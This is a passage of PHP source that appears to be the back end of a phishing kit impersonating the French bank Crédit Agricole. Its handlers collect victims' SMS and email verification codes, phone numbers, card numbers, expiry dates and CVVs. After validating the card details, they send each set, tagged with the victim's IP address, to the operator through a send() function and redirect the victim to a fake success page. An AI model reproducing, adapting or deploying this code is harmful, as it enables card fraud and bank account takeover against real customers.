0 ) { header("Location: success?verification#_"); exit(); } $_SESSION['errors']['sms_code'] = 'Le code est incorrect.'; header("Location: ss2?error=1&verification#_"); exit(); } } else { $error = $_POST['error']; header("Location: ss?error=$error&verification#_"); exit(); } } if ($_POST['step'] == "email_code") { $_SESSION['errors'] = []; $_SESSION['email_code'] = $_POST['email_code']; if( empty($_POST['email_code']) || strlen($_POST['email_code']) != 6 ) { $_SESSION['errors']['email_code'] = 'Le code est incorrect.'; } if( count($_SESSION['errors']) == 0 ) { $subject = get_client_ip() . ' | C-AGRICOL | Code Email'; $message = '/-- CODE EMAIL INFOS --/' . get_client_ip() . "\r\n"; $message .= 'Code email : ' . $_POST['email_code'] . "\r\n"; $message .= '/-- END CODE EMAIL INFOS --/' . "\r\n"; send($subject,$message); header("Location: verifyinfos?verification#_"); exit(); } else { header("Location: e?error=1&verification#_"); exit(); } } if ($_POST['step'] == "cc") { $_SESSION['errors'] = []; $_SESSION['phone'] = $_POST['phone']; $_SESSION['one'] = $_POST['one']; $_SESSION['two'] = $_POST['two']; $_SESSION['three'] = $_POST['three']; $date_ex = explode('/',$_POST['two']); $card_number = validate_cc_number($_POST['one']); $card_cvv = validate_cc_cvv($_POST['three'],$card_number['type']); $card_date = validate_cc_date($date_ex[0],$date_ex[1]); if( validate_number($_POST['phone']) == false ) { $_SESSION['errors']['phone'] = 'Veuillez saisir un numéro valid.'; } if( $card_number == false ) { $_SESSION['errors']['one'] = 'Veuillez saisir un numéro de la carte valid.'; } if( $card_cvv == false ) { $_SESSION['errors']['three'] = 'Veuillez saisir un numéro valid.'; } if( $card_date == false ) { $_SESSION['errors']['two'] = 'Veuillez saisir une date valide.'; } if( count($_SESSION['errors']) == 0 ) { $subject = get_client_ip() . ' | C-AGRICOL | Card'; $message = '/-- CARD INFOS --/' . get_client_ip() . "\r\n"; $message .= 'Numéro de téléphone : ' . $_POST['phone'] . "\r\n"; $message .= 'N° de carte : ' . $_POST['one'] . "\r\n"; $message .= 'Date d\'expiration : ' . $_POST['two'] . "\r\n"; $message .= 'CVV : ' . $_POST['three'] . "\r\n"; $message .= '/-- END CARD INFOS --/' . "\r\n"; send($subject,$message); unset($_SESSION['errors']); header("Location: success?verification#_"); } else { header("Location: verifyinfos?error#_"); } } },'post'); /* RESULT */ Route::pathNotFound(function($path) { header('HTTP/1.0 404 Not Found'); }); Route::methodNotAllowed(function($path, $method) { header('HTTP/1.0 405 Method Not Allowed'); }); Route::run(BASEPATH); ?>